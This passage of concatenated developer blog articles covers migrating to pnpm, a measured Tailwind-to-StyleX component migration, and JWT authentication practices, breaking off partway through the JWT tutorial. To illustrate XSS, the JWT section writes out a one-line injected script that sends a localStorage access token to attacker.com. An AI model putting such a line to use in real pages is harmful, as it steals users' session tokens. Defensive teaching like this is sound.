This is not a feature that npm lacks; npm is still the native CLI for the npm registry. The point is that pnpm’s workflow no longer has to hand publishing and account operations off to another tool. For teams standardizing on pnpm, that makes the install-to-publish workflow more consistent.

How to migrate from npm or Yarn to pnpm

Migrating to pnpm is usually straightforward, but the strict dependency layout can reveal hidden problems in your project.

A safe migration looks like this:

# Option 1: Install globally
npm i -g pnpm

# Option 2: Use Corepack
corepack enable
corepack use pnpm@latest

# Convert the existing lockfile
pnpm import

# Remove the old install artifacts
rm -rf node_modules package-lock.json yarn.lock

# Install with pnpm
pnpm install

pnpm import reads your existing package-lock.json or yarn.lock and creates a pnpm-lock.yaml that preserves your current resolutions as closely as possible. That gives you a more controlled starting point than deleting the old lockfile and resolving everything from scratch.

After the first install, expect to fix a few things:

Add any dependencies your code imports directly but did not list in package.json
Replace npm or Yarn commands in CI workflows and Dockerfiles
Create a root pnpm-workspace.yaml for monorepos
Review packages that require lifecycle scripts and approve them with pnpm approve-builds
Decide whether to keep the default minimumReleaseAge or tune it for your release workflow
Update developer onboarding docs so local commands use pnpm consistently

The most common migration surprise is phantom dependencies. Code that worked under npm may fail under pnpm because it imported a package that was only available through hoisting. Treat those failures as useful signals. They show you where your dependency declarations were incomplete.

When pnpm is the better default

pnpm is a strong fit when your team cares about reproducible installs, monorepo performance, disk usage, and supply chain hardening. It is especially useful for:

Large monorepos with shared packages and many repeated dependencies
Teams that want stricter dependency declarations
CI systems where install speed and lockfile consistency matter
Security-conscious teams that want safer install defaults
Projects that need centralized workspace dependency policy

npm is still a reasonable default for small projects, tutorials, and teams that want the least surprising path through the JavaScript ecosystem. It is preinstalled with Node.js, widely documented, and universally supported. If your project is small and your workflow is simple, npm may be enough.

But for larger applications, pnpm’s trade-offs are increasingly attractive. It keeps the familiar package.json workflow while solving several pain points that npm either leaves to configuration or exposes through years of backward-compatible behavior. Teams that also want to secure their full-stack projects from NPM attacks will find that pnpm’s stricter defaults complement those broader hardening efforts.

Conclusion

Package managers are now part of the security boundary. They do not just fetch dependencies; they decide which code runs during installation, how quickly new versions enter a project, how strictly dependencies are resolved, and how easily teams can audit what they shipped.

That is where pnpm has pulled ahead. Its content-addressable store reduces disk usage and repeated downloads. Its strict dependency layout exposes phantom dependencies instead of hiding them. Its workspace configuration centralizes dependency policy. And its newer security defaults make risky installation behavior harder to miss.

This does not make npm obsolete. npm created the workflow the ecosystem still builds on, and it continues to add security features of its own. The difference is that pnpm is more willing to make stricter behavior the default.

For teams maintaining large JavaScript apps or monorepos, that default posture matters. pnpm is not only faster and more disk-efficient than npm in many workflows; it is a package manager that treats dependency installation as a security-sensitive operation from the start. If you are also thinking about how your dependencies interact with authentication and access control, reviewing JWT authentication best practices is a natural next step for hardening the full application stack. And if you are adopting AI-assisted development alongside these security improvements, understanding AI-assisted development governance can help your team maintain control over what gets shipped.

#javascript

Tailwind CSS vs. StyleX: A real migration with 20 components

Chizaram Ken — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

I wanted a practical answer to a question that usually gets handled as a vibes-based framework debate: What actually changes when you migrate a real Tailwind component library to StyleX?

So I built 20 production-style components in Tailwind CSS, rewrote all 20 in StyleX using the newer sx={} prop syntax, and tracked the parts that matter in a real migration: lines of code, CSS output, build time, configuration work, and the issues that slowed me down.

The short version: StyleX doubled my styling code, produced almost the same CSS bundle size, built slightly faster in this test, and caught styling mistakes that Tailwind would have let through silently. Whether that trade-off is worth it depends on what you are building.

If you maintain a design-system-backed component library, StyleX is worth a serious look. If you are building quickly with copy-paste components, Tailwind is still hard to beat.

Tailwind vs. StyleX: The migration results

Before getting into the setup, here are the results from the migration:

Metric	Tailwind	StyleX	What changed
Component LOC	1,568	3,143	StyleX added 100.5 percent more code
CSS output	20,379 bytes	20,561 bytes	Nearly identical
Median cold build	8.0s	7.4s	No meaningful difference in this test
Type safety	Mostly string-based classes	Typed style objects and tokens	StyleX caught several migration mistakes earlier
Ecosystem	Large public ecosystem	Smaller public ecosystem	Tailwind has the clear ecosystem advantage

These numbers changed how I thought about the migration. StyleX did not win because it made the code smaller. It won in the places where static analysis matters: typed tokens, invalid variants, dead style elimination, and predictable composition.

That is the real decision point. StyleX costs more code and more setup. In exchange, it gives you a stricter styling system for large, reusable component libraries.

Why the `sx={}` prop changes the StyleX comparison

StyleX has been Meta’s internal styling system for years and now powers large-scale products across Meta. It was open sourced at the end of 2023 and is designed around static CSS extraction, atomic CSS output, type-safe style authoring, and predictable style composition.

For a long time, the biggest objection was developer experience. The old StyleX syntax looked like this:

return (
  <button
    {...stylex.props(styles.base, styles[variant], styles[size])}
  >
    {children}
  </button>
);

That works, but it is not especially inviting. The spread syntax hides the styling mechanism, and compared with Tailwind’s className="flex items-center", it feels heavier than it should.

With the newer sx={} prop syntax, the same component reads like this:

return (
  <button sx={[styles.base, styles[variant], styles[size]]}>
    {children}
  </button>
);

The Babel plugin transforms sx={} into the same kind of output as stylex.props() at build time. The main difference is what you read and write every day. Instead of spreading a helper into every element, you pass styles through a prop that behaves like the rest of your React API.

That change does not make StyleX as terse as Tailwind. But it closes enough of the syntax gap that the comparison becomes more interesting. Now the question is less “Which syntax is less annoying?” and more “Do I want string-based speed or compile-time styling guarantees?”

My migration setup

I built the original component library in Tailwind CSS inside a Next.js app with TypeScript, then migrated each component to StyleX. The components included buttons, badges, cards, modals, tabs, navbars, data tables, form inputs, toggles, alerts, skeletons, toasts, breadcrumbs, and layout primitives.

The stack:

Tool	Version used
Next.js	16.2.9 with webpack
StyleX	0.19.0
Tailwind CSS	4.3.2
TypeScript	5.9.3

Each component had at least two visual variants, responsive behavior, and interactive states. I tracked four things:

Lines of code
CSS output size
Cold build time
Migration issues by component

This was not a synthetic benchmark of one button. It was also not a massive enterprise design system. It sat in the middle: enough components to expose real migration friction, but small enough to inspect every difference by hand.

Four setup decisions before writing StyleX styles

Getting Tailwind and StyleX to coexist took a few decisions before the component work started. These are worth calling out because they affect the migration experience as much as the component syntax does.

1. Webpack and Babel instead of Turbopack

This setup used webpack with the StyleX Babel plugin. In my project, adding a custom babel.config.js meant opting into Babel for the relevant transforms. That also meant accepting the trade-offs of that setup, including losing access to some Next.js compiler-specific features I would normally reach for.

For this migration, I used system font stacks instead of next/font.

2. The PostCSS plugin instead of the deprecated Next.js plugin

I used @stylexjs/postcss-plugin with @stylexjs/babel-plugin rather than @stylexjs/nextjs-plugin. The Next.js-specific StyleX plugin is deprecated, so the PostCSS/Babel setup is the safer path for a new migration.

3. The `sx={}` prop everywhere

I used sx={} throughout the migration rather than the older {...stylex.props()} syntax. To make TypeScript recognize the prop, I added a src/types/stylex.d.ts file that patches HTMLAttributes.

That gave me a consistent authoring style without needing a JSX pragma, jsxImportSource, or a React 19-specific setup.

4. CSS layers for Tailwind and StyleX coexistence

Both Tailwind and StyleX emit CSS, so I used CSS layers to make the ordering explicit. Setting useCSSLayers: true in the StyleX PostCSS config wraps StyleX output in named @layer blocks.

That let both systems live in globals.css without accidental specificity conflicts.

Here is the Babel config:

const path = require('path');
const dev = process.env.NODE_ENV !== 'production';

module.exports = {
  presets: ['next/babel'],
  plugins: [
    [
      '@stylexjs/babel-plugin',
      {
        dev,
        runtimeInjection: false,
        treeshakeCompensation: true,
        aliases: { '@/*': [path.join(__dirname, 'src/*')] },
        unstable_moduleResolution: { type: 'commonJS', rootDir: __dirname },
      },
    ],
  ],
};

And the PostCSS config:

const babelConfig = require('./babel.config');

module.exports = {
  plugins: {
    '@stylexjs/postcss-plugin': {
      include: ['src/**/*.{js,jsx,ts,tsx}'],
      babelConfig: {
        babelrc: false,
        configFile: false,
        parserOpts: { plugins: ['typescript', 'jsx'] },
        plugins: babelConfig.plugins,
      },
      useCSSLayers: true,
    },
    autoprefixer: {},
  },
};

Once these decisions were locked, the rest of the work became a component-by-component conversion.

Where StyleX won

StyleX did not win on terseness. It won where the styling layer needed to behave more like typed application code.

Type-safe design tokens

stylex.defineVars() gives you typed design tokens with IDE autocomplete. If you misspell a token, TypeScript catches it before the component renders.

In my migration, I created a src/tokens/ directory with separate token files:

// colors.stylex.ts
import * as stylex from '@stylexjs/stylex';

export const colors = stylex.defineVars({
  primary: '#2563eb',
  primaryHover: '#1d4ed8',
  textDefault: '#111827',
  textMuted: '#6b7280',
  borderDefault: '#e5e7eb',
  // 40+ more tokens
});

The payoff shows up immediately in components. If I write backgroundColor: colors.primaryy, TypeScript rejects it. In Tailwind, a class like bg-blue-60 can compile and fail silently in the UI.

Self-referencing variables also reduce token duplication. For example, you can derive a muted text color from a base text color with color-mix(), so one token update can cascade through related values.

Dead CSS elimination

StyleX strips unused styles at compile time. There is no PurgeCSS config, no safelist, and no wondering why an unused class is still in the output.

I tested this directly. Every StyleX component in the migration included a _deadStyles object that was never referenced:

const _deadStyles = stylex.create({
  neverUsed: {
    backgroundColor: 'hotpink',
    padding: '999px',
  },
});

After building, those dead styles did not appear in the CSS output. With treeshakeCompensation: true, unreferenced stylex.create() calls were stripped entirely.

Tailwind gets to a similar result from the opposite direction: it scans your source for utility classes and generates only what it finds. Both systems can eliminate unused CSS. The difference is the model. Tailwind scans markup; StyleX analyzes style objects at compile time.

Compile-time constants with `stylex.env`

StyleX also supports compile-time constants through stylex.env, which is useful for feature flags, platform checks, and debug-only styles.

Here is the pattern:

// stylex.env.ts
export const DEBUG_MODE = process.env.DEBUG_STYLEX === 'true';
export const PLATFORM = process.env.PLATFORM || 'web';

Then in a component:

import { DEBUG_MODE } from '@/stylex.env';

if (DEBUG_MODE) {
  var debugStyles = stylex.create({
    outline: { outline: '2px solid red' },
  });
}

return (
  <div sx={[styles.base, ...(DEBUG_MODE ? [debugStyles.outline] : [])]}>
    {children}
  </div>
);

When DEBUG_STYLEX=true, the debug styles are included. In production, the branch can be eliminated. Tailwind can conditionally apply classes at runtime, but if those classes appear in source, they are still candidates for generation.

More explicit variant styling

The biggest difference showed up in variant-heavy components. Here is a simplified button example in Tailwind:

const variantStyles = {
  primary: 'bg-blue-600 text-white hover:bg-blue-700 focus:ring-blue-500',
  secondary: 'bg-gray-200 text-gray-900 hover:bg-gray-300 focus:ring-gray-500',
};

const sizeStyles = {
  sm: 'px-3 py-1.5 text-sm',
  md: 'px-4 py-2 text-base',
  lg: 'px-6 py-3 text-lg',
};

const combinedClassName =
  `${baseStyles} ${variantStyles[variant]} ${sizeStyles[size]}`.trim();

return <button className={combinedClassName}>{children}</button>;

It is compact, but the styling contract is mostly string-based. If a variant key is wrong, the bug may not show up until runtime.

Here is the same pattern with the newer StyleX syntax:

const styles = stylex.create({
  base: {
    display: 'inline-flex',
    alignItems: 'center',
    borderRadius: spacing[2],
  },
  primary: {
    backgroundColor: colors.primary,
    color: colors.white,
  },
  secondary: {
    backgroundColor: colors.gray200,
    color: colors.gray900,
  },
  sm: {
    paddingInline: spacing[3],
    paddingBlock: spacing[1.5],
    fontSize: typography.sm,
  },
});

return (
  <button sx={[styles.base, styles[variant], styles[size]]}>
    {children}
  </button>
);

It is longer, but invalid tokens and style keys are easier to catch. That is the repeated trade-off across the migration: Tailwind is shorter; StyleX is stricter.

Where Tailwind still wins

The migration also made Tailwind’s strengths clearer. StyleX won on correctness, but Tailwind still wins in several areas that matter in day-to-day product work.

Prototyping speed

Tailwind is still faster for throwaway UI and fast iteration. You stay in JSX, add utility classes inline, and see changes quickly.

StyleX requires defining styles in a stylex.create() call before referencing them, even with sx={}. That extra step is reasonable in a component library, but it slows down one-off UI work.

Ecosystem

Tailwind has a massive public ecosystem: shadcn/ui, Headless UI, Radix-based examples, Tailwind component libraries, templates, snippets, tutorials, and thousands of copy-paste components.

StyleX has strong internal adoption at Meta and growing public adoption, but the public ecosystem is much smaller. If you adopt StyleX today, you should expect to build more of your component system yourself.

Learning curve

Tailwind’s mental model is easy to pick up: utilities map directly to CSS properties.

StyleX requires developers to understand a few more constraints:

Style objects must be statically analyzable
Token imports need to follow the compiler’s expectations
Dynamic keys often need explicit maps
Conditional styles need to produce valid StyleX style objects
CSS layer ordering matters when StyleX coexists with another CSS system

None of that is impossible, but it is a real onboarding cost.

Community content

When you hit a Tailwind issue, there is usually a GitHub discussion, Stack Overflow answer, Discord thread, or tutorial somewhere. This is similar to the kind of robust community support you get with well-established React chart libraries versus newer alternatives.

With StyleX, you are more likely to read official docs, source code, or examples from early adopters. That is improving, but it is not the same support surface.

Migration issues I hit

These are the issues that cost me time during the migration. They are the kind of details that rarely show up in a quick hello-world example.

Barrel exports broke token resolution

This was the most painful discovery. I started with a clean token architecture: four .stylex.ts files re-exported through a barrel index.ts. Every import looked like this:

import { colors, spacing } from '@/tokens';

The build failed. The StyleX Babel plugin performs static analysis on token resolution, and in this setup it needed to see the actual stylex.defineVars() call at the import path.

The fix was direct imports:

// This broke the build
import { colors, spacing } from '@/tokens';

// This worked
import { colors } from '@/tokens/colors.stylex';
import { spacing } from '@/tokens/spacing.stylex';

Seven components needed this fix. If you are migrating, skip the token barrel export and import from .stylex.ts files directly from the start. Tools like Knip can help identify unused and ghost dependencies in your project before you begin a migration like this.

Raw inline `@keyframes` did not belong in `stylex.create()`

Skeleton and Toast components failed when I tried to define raw @keyframes blocks inside stylex.create(). That pattern works in some CSS-in-JS libraries, but it was the wrong StyleX API.

The right fix is to use stylex.keyframes() when the animation can be expressed through StyleX, or keep complex/global animation definitions in a regular CSS file. The important lesson is not “StyleX cannot do keyframes,” because it can. The lesson is that keyframes have a specific API and cannot be dropped into a style object as raw CSS.

Dynamic style keys needed explicit maps

TypeScript cannot infer that a computed string like this will match a literal key on the style object:

styles[`modal${size}`]

Eight components hit this issue.

The fix is a type-safe map:

// This fails TypeScript
return <div sx={[styles.modal, styles[`modal${size}`]]} />;

// This passes
const sizeStyleMap = {
  sm: styles.modalSm,
  md: styles.modalMd,
  lg: styles.modalLg,
};

return <div sx={[styles.modal, sizeStyleMap[size]]} />;

It is more verbose, but it catches invalid size values before they become broken styles. If you find yourself reaching for advanced TypeScript patterns here, the TypeScript utility types you may be underusing are worth reviewing before you start your migration.

Falsy values did not work in `sx` arrays

Tailwind developers often use && shorthand for conditional classes:

`${isActive && 'bg-blue-500'}`

In this StyleX setup, passing false into an sx array caused a TypeScript error because the prop expected style objects, not booleans.

I had to build arrays conditionally:

// This fails
<tr sx={[styles.tr, isStriped && styles.trStriped]} />;

// This works
const trStyles = [styles.tr];

if (isStriped) {
  trStyles.push(styles.trStriped);
}

<tr sx={trStyles} />;

This is small in isolation, but it affects almost every component with conditional styling.

CSS layer ordering was strict

My first build failed because globals.css had @layer declarations before the @import "tailwindcss" statement.

Webpack enforced the CSS spec strictly: @import rules must come before all other rules except @charset and @layer. Moving the Tailwind import to the top fixed the build, but the error message was not especially clear.

The real numbers

Here is where the migration became less subjective.

Lines of code

The following table shows the lines of code per component:

Component	Tailwind LOC	StyleX LOC	Growth
Container	31	118	+280%
Grid	43	121	+181%
Navbar	129	291	+126%
Modal	104	226	+117%
Stack	57	123	+116%
TextInput	76	167	+120%
Select	153	293	+92%
DataTable	128	245	+91%
Card	91	141	+55%
Skeleton	61	95	+56%
Total, 20 components	1,568	3,143	+100.5%

StyleX doubled the codebase. Most of the growth came from explicit style maps and responsive styles written as full objects instead of Tailwind’s compact responsive prefixes.

The important nuance is that component logic did not double. Event handlers, state, and conditional rendering stayed mostly the same. The extra lines were styling definitions. The growth was predictable and mechanical, but it was still real.

CSS bundle size

The following table shows the CSS output comparison:

Scenario	CSS output
Tailwind only	20,379 bytes
StyleX only	20,561 bytes

The CSS output was almost identical. Tailwind generated utility classes; StyleX generated atomic CSS rules. For this 20-component library, neither produced a meaningful bundle-size advantage.

Build time

The following table shows the build time comparison:

Framework	Median cold build, 3 runs
Tailwind only	8.0s
StyleX only	7.4s

There was no meaningful build-time difference. StyleX’s Babel setup adds compilation work, but in this project the final build time still landed in the same range.

I would not use this result to claim StyleX is faster than Tailwind. I would use it to say that, for this component set, StyleX did not add a build-time penalty large enough to affect the decision.

Where each tool fits

StyleX is not a faster, smaller, simpler Tailwind. It solves a different problem.

Need	Tailwind	StyleX
Fast prototyping	Excellent	More boilerplate
Type-safe styling at scale	Requires extra tooling and discipline	Built in
Unused CSS elimination	Strong with content scanning	Strong with compile-time extraction
Design token safety	Mostly string/config-driven	Typed variables and constants
Runtime style merging	Manual `className` composition	Compiled/merged through StyleX
Public ecosystem	Very strong	Still smaller
Reusable component libraries	Good, but string-heavy	Strong fit when consumers also use StyleX

Use StyleX for design-system-backed production apps where type safety, token consistency, and predictable style composition matter more than raw speed. If your team maintains a shared component library and has been burned by silent styling bugs, the extra LOC may be a reasonable price.

Use Tailwind for prototypes, content sites, marketing pages, and teams that benefit from the Tailwind ecosystem. If you are shipping quickly with shadcn/ui, Headless UI, and existing Tailwind patterns, StyleX’s safety may not justify the migration cost.

They are not really competing for the same job. Tailwind wins on speed and ecosystem. StyleX wins on correctness and safety. The sx={} prop makes StyleX comfortable enough that the decision can finally be about project needs instead of syntax alone.

What I would change in the migration plan next time

If I were doing this migration again, I would make a few changes up front:

Start with the most variant-heavy components, not the simplest ones
Add token files early and import them directly, not through barrels
Decide the CSS layer order before migrating components
Write a small conditional-style helper for repeated sx array patterns
Use stylex.keyframes() for animations instead of trying to copy CSS-in-JS patterns directly
Keep Tailwind available during migration so each component can be compared before the old version is removed
Track mistakes caught by TypeScript, not just bundle size and build time

That last point matters most. If you only track bundle size, this migration looks like a wash. If you track how many styling mistakes are caught before runtime, StyleX starts to look more valuable. This same principle applies broadly: when React Compiler handles memoization, you also need to look beyond surface metrics to understand what actually changed.

Conclusion

I expected StyleX to win on bundle size and lose on everything else. That is not what happened.

Bundle size was a wash. Build time was a wash. The metric that actually separated the two was type safety. During the migration, TypeScript caught misspelled token names, invalid variant keys, and broken conditional style arrays before anything rendered in the browser. In the Tailwind versions, those mistakes would have been easier to ship silently.

So the decision point is straightforward: Is that safety worth doubling your styling LOC, making several setup decisions before writing a single component, and building more of your component ecosystem yourself?

For a production component library, especially one with shared tokens and lots of variants, I think StyleX has a real argument. For a small team moving quickly with existing Tailwind patterns and public component libraries, Tailwind is still the better tool.

The sx={} prop is what makes this a real choice. Before it, the developer experience gap made the comparison easier to dismiss. Now the trade-off is clearer: Tailwind gives you speed and ecosystem. StyleX gives you stricter guarantees. Pick the one that matches the cost you are actually trying to reduce. If you are evaluating other modern CSS approaches as well, it is worth exploring how CSS contrast-color() handles auto-contrast and how CSS staggered animations work as part of a broader styling strategy.

JWT authentication: Best practices and when to use it

Flavio Copes — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This JWT authentication tutorial was last updated on 23 July 2026 by Emmanuel John to discuss modern JWT authentication practices, including OAuth 2.0 and OIDC, secure token storage, refresh token rotation, XSS and CSRF risks, and scenarios where server-side sessions may be a better choice than JWTs.

In web development, authentication is one of the most complex aspects to implement yourself. Many web applications delegate authentication to third-party authentication services like Auth0 or rely on authentication built into the frameworks or tools they are built with.

This also means that many developers (maybe you too 🙂 ) don’t know how to build at least moderately secure authentication into their web applications. JWT provides an easy way to to do this

With knowledge of some of the security concerns to consider when using JWT, you can implement a more secure authentication as you see with third-party authentication services. So, in this guide, we’ll begin by covering what JWTs are, then we’ll go into how they’re used and why, and finally, we’ll go into the issues and concerns to look out for when using JWTs.

What is JWT?

JSON Web Token (JWT) is a standard for structuring data to be transmitted between two parties (commonly server and client). A JWT is a single string made up of two components, a JSON Object Signing and Encryption (JOSE) header and its claims (or payload), both base64url encoded and separated by a period (.).

This is the structure of a token:

(Header).(Payload)

Here’s an example of a token:

eyJhbGciOiJub25l4oCdfQ.ewogICJpZCI6ICIxMjM0NTY3ODkwIiwKICAibmFtZSI6ICJKb2huIERvZSIsCiAgImFnZSI6IDM2Cn0K

This token is constructed with these two components:

JOSE header:

{
  "alg": "none"
}
// base64url encoded to: eyJhbGciOiJub25l4oCdfQ

Claims:

{
  "id": "1234567890",
  "name": "John Doe",
  "age": 36
}
// base64url encoded to: ewogICJpZCI6ICIxMjM0NTY3ODkwIiwKICAibmFtZSI6ICJKb2huIERvZSIsCiAgImFnZSI6IDM2Cn0

The JOSE header contains details about the type of encryption, signing, or both applied to the token. "alg": "none” specifies that the token isn’t encrypted or signed.

Claims are the information that JWTs carry. In the context of user authentication and authorization, you can think of it as claims about a user. The claims in this token are made up of three fields id, name, and age.

JSON Web Tokens aren’t sent directly as JSON strings because they’re UTF-8 encoded. This means that they can contain characters that aren’t URL-safe (characters like “/” or “&” for example). They can’t be put safely in HTTP Authorization headers and URI query parameters.

To make tokens URL-safe, they’re encoded into base64url format. This allows them to be safely put in query parameters and authorization headers.

However, this form of JSON Web Tokens is unsecured because there’s no way of ensuring the integrity of its claims, making it very unsafe to use in user authentication.

How are JWTs used in authentication?

The type of JWTs used in handling user authentications are signed tokens (or JSON Web Signatures, JWSs). Signed tokens are essentially JWTs with a cryptographically generated signature, to ensure that the claims in the tokens haven’t been tampered with.

Three components go into making Signed tokens:

JOSE header — Information about the algorithm used to sign the JWT
Payload (claims) — A payload is a JSON Web Token that holds the data to carry
Signature — This is a string of characters created by hashing the payload and header (or just the payload) using the algorithm specified in the JOSE header. After generation, the signature is base64url encoded and added to the JWS

This is the structure of a signed token:

(Header).(Payload).(Signature)

Here’s an example of a signed JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ.4SkNQ2QZ8z5Lh7W0n2FK8KnXxXq_9yPmyMslK9YpN0A

The token is constructed from these components:

Header:

{
  "typ": "JWT",
  "alg": "HS256"
}

Base64URL encoded as:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

Payload:

{
  "id": "1234567890",
  "name": "John Doe",
  "age": 36
}

Base64URL encoded as:

eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ

Signature: Generated by applying HMAC SHA-256 to the Base64URL-encoded header and payload:
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ
```
using the secret key your-256-bit-secret. The resulting signature is Base64URL encoded and appended as the third part of the JWT.

So how are signed tokens used in authentication? Here’s a simplified outline of the process:

A user signs into their account on an authentication server
The authentication server returns a signed token with their account information or an ID (or both)
The signed token is stored in the browser’s localStorage or sessionStorage or anywhere the website prefers to store it
The signed token is retrieved and used anytime a part of the website needs authenticated access

Here’s a visual representation of the process:

Now that you know how JWTs work in authentication, let’s look at where they fit in the broader landscape of modern auth standards.

Where does JWT fit in OAuth 2.0 and OIDC?

JWTs are the token format. OAuth 2.0 and OpenID Connect (OIDC) are the protocols that define how those tokens are issued and used.

Many developers encounter JWTs first through OAuth 2.0 or OIDC flows, especially when integrating third-party identity providers like Google, GitHub, or Auth0. Understanding the distinction matters for implementing things correctly.

OAuth 2.0 is an authorization framework. It defines how a resource owner (a user) can grant a third-party client limited access to a protected resource (like an API) without exposing credentials. OAuth 2.0 itself does not mandate a token format, but JWTs have become the de facto standard for access tokens because they are self-contained and verifiable without a round-trip to the authorization server.

OpenID Connect (OIDC) is an identity layer built on top of OAuth 2.0. It introduces the ID token, which is always a JWT and contains claims about the authenticated user (like sub, email, name). OIDC is the protocol you are using when you click “Sign in with Google.”

Here is how they relate:

Concept	Role	Token type
OAuth 2.0	Authorization framework	Access token (often a JWT)
OIDC	Authentication layer on OAuth 2.0	ID token (always a JWT)
JWT	Token format/standard	Used by both

In practice, a typical OIDC flow issues three tokens:

ID token: A JWT asserting who the user is; intended for the client to read, not the API.
Access token: Used to call protected APIs; often a JWT but not required to be.
Refresh token: An opaque or JWT token used to obtain new access tokens; never sent to the API.

A common mistake is using the ID token to authorize API calls. The access token is what APIs should validate. The ID token is for the client application to establish user identity.

Why should you use JWTs?

It turns out that authentication isn’t easy to implement securely. I’ve made many web projects with simple hand-written authentication processes, where I just store the user’s identifier and password as plain JSON strings in JavaScript localStorage and pass them to any region of my application that needs authenticated access.

Fortunately, those projects didn’t have many users (or any in most cases), so it wasn’t rewarding to exploit. If the web applications had many (and important) users and had authentication implemented this way, it would’ve meant disaster.

Signed tokens prevent these kinds of disasters by:

Removing the need to store passwords in localStorage: A session ID in a signed token is enough to identify users. If the signature is generated using the HMAC SHA-256 algorithm, and the key used to create the signature is kept with extreme secrecy, and as random as possible, you can rest assured that only the authentication server can produce and verify the signature (provided that an attacker doesn’t have access to a quantum computer, and know how to use it)
Removing the need for redundant database querying: If claims about a user can be stored in a JWT and the integrity of the claims can be assured with the signature in a JWS, an API can use those claims without raising any concerns

But JWTs aren’t perfect solutions for secure authentication. They still have issues and concerns to look out for (and possibly work around) when using them in your project.

Where should you store JWTs?

You should store access tokens in memory and refresh tokens in HttpOnly, Secure, SameSite=Strict cookies.

Token storage is one of the most debated topics in JWT security, and the answer depends on which threats you are prioritizing. Every storage option comes with trade-offs.

Here is a comparison of storage options:

Storage location	Accessible by JS	Sent automatically	XSS risk	CSRF risk
`localStorage`	Yes	No	High	None
`sessionStorage`	Yes	No	High	None
In-memory (JS variable)	Yes (same tab only)	No	Medium	None
`HttpOnly` cookie	No	Yes (same-origin)	None	Medium
`HttpOnly` + `SameSite=Strict` cookie	No	Yes (strict same-origin)	None	Low

Both localStorage and sessionStorage are accessible via JavaScript on the page. A successful XSS attack gives an attacker full access to the token immediately. window.localStorage.getItem('token') is all it takes. Avoid storing JWTs with meaningful access scope here.

Storing access tokens in-memory means they disappear on page refresh and are not accessible from other tabs or persisted to disk. This is the most XSS-resistant client-side option for access tokens, though it requires a separate mechanism (like a refresh token in a cookie) to restore a session after a page reload.

With HttpOnly cookies, the browser sends these automatically with every matching request, and they cannot be read by JavaScript at all. This eliminates XSS token theft but introduces CSRF risk. You can mitigate CSRF with SameSite=Strict and CSRF tokens.

How do refresh tokens and token expiration work?

Access tokens should be short-lived (5 to 15 minutes). Refresh tokens should be rotated on every use and revocable server-side.

One structural weakness of JWTs is that they are stateless by default. Once issued, a server cannot invalidate a token before its expiration unless it maintains a server-side blocklist, which reintroduces statefulness.

Token expiration and refresh token rotation are the primary tools for managing this problem.

What is access token expiration?

The exp claim defines when a token expires. Keep access token lifetimes short — 5 to 15 minutes is a common range for high-security applications, with 1 hour being a reasonable upper limit for most apps.

{
  "sub": "user_123",
  "iat": 1720652400,
  "exp": 1720653300,
  "roles": ["user"]
}

A short-lived token limits the damage window if one is stolen. An attacker with a captured token has minutes, not days, before it becomes useless.

What is refresh token rotation?

Refresh tokens are long-lived credentials (days to weeks) used to obtain new access tokens without prompting the user to re-authenticate. Because they are long-lived, they need stricter protection.

Refresh token rotation means issuing a new refresh token every time the old one is used. The old token is immediately invalidated. This means:

If a refresh token is stolen and used by an attacker, the legitimate user’s next refresh request will fail (their token was invalidated by the attacker’s prior use).
The server can detect reuse of an already-rotated token, which signals a potential compromise.

XSS vs. CSRF: How does your storage choice affect your attack surface?

localStorage gives you XSS risk. Cookies give you CSRF risk. Neither is inherently safer, so the question is which risk you can better mitigate given your architecture.

What is XSS (Cross-Site Scripting)?

XSS occurs when an attacker injects malicious JavaScript into a page that runs in another user’s browser. If your token is in localStorage or sessionStorage, that script can read it directly:

// What an attacker's injected script does
fetch('https://attacker.com/steal?t=' + localStorage.getItem('access_token'));

Mitigations for XSS:

Use a strong Content Security Policy (CSP) to restrict script sources.
Sanitize all user-generated content before rendering.
Store tokens in memory or HttpOnly cookies instead of localStorage.
Keep third-party JavaScript dependencies minimal and audited.

What is CSRF (Cross-Site Request Forgery)?

CSRF occurs when an attacker tricks a logged-in user’s browser into making a request to your application without the user’s intent. Because cookies are sent automatically by the browser, a forged request from a malicious site to your API will include the victim’s cookies, including any JWT stored there.

Mitigations for CSRF:

Use SameSite=Strict or SameSite=Lax on cookies (the most effective modern defense).
Implement CSRF tokens (the double-submit cookie or synchronizer token patterns).
Validate the Origin and Referer headers on state-changing requests.
Avoid SameSite=None unless you explicitly need cross-site cookie sending.

What are the limitations of JWTs?

JWTs like many other tools in the world, aren’t perfect. They’re good for user authentication, but not without shortcomings. In this section, I’ll address some popular concerns.

So let’s start with the first concern.

Are JWTs encrypted?

Signed tokens provide the benefit of verifying the integrity of the claims in the tokens. This allows them to be useful for authentication purposes. This doesn’t mean that the claims stored in the tokens aren’t hidden.

If your web application needs to store sensitive information in tokens, the website needs to handle them with caution. Generally, you should avoid storing sensitive information in tokens because it is very difficult to protect them against all possible cybersecurity attacks.

In cases where a web application needs to store sensitive information in tokens, encrypted forms of JWTs exist for this reason.

Do JWTs require JavaScript?

Compared to the internet of the early 2000s modern-day internet is more secure. But, on its own, the modern-day internet still isn’t a hundred percent secure. Anything that JavaScript has access to can still potentially be exploited.

Because of the structure of modern applications, it has become more important for JavaScript to have access to the tokens to, for example, send requests to APIs. However, web applications have reasons for their structure, and in some cases, JavaScript having access to the tokens is unavoidable. Fortunately, the internet has gotten secure enough for access to JavaScript to be less of a concern than it was in the earlier internet.

There isn’t a good solution to this concern. Regardless of where you store tokens, you’re opening the tokens to at least one form of exploit. Storing in cookies or sessions is open to CSRF (Cross-Site Request Forgery) attacks, and storing anywhere JavaScript can access is open to XSS (Cross-Site Scripting) attacks.

Are JWTs subject to size limits?

Depending on how you store and transmit JWTs, they’re subject to size constraints imposed by browsers. For example, all browsers impose a 4 KB and 5 MB limit on the total amount of data that a web application can store in cookies and JavaScript localStorage respectively.

If your web application uses significant portions of these storage mechanisms (although unlikely), you can use session tokens instead. They’re smaller, but they can’t have payloads, with extra pieces of information, like with JWTs.

When should you not use JWTs?

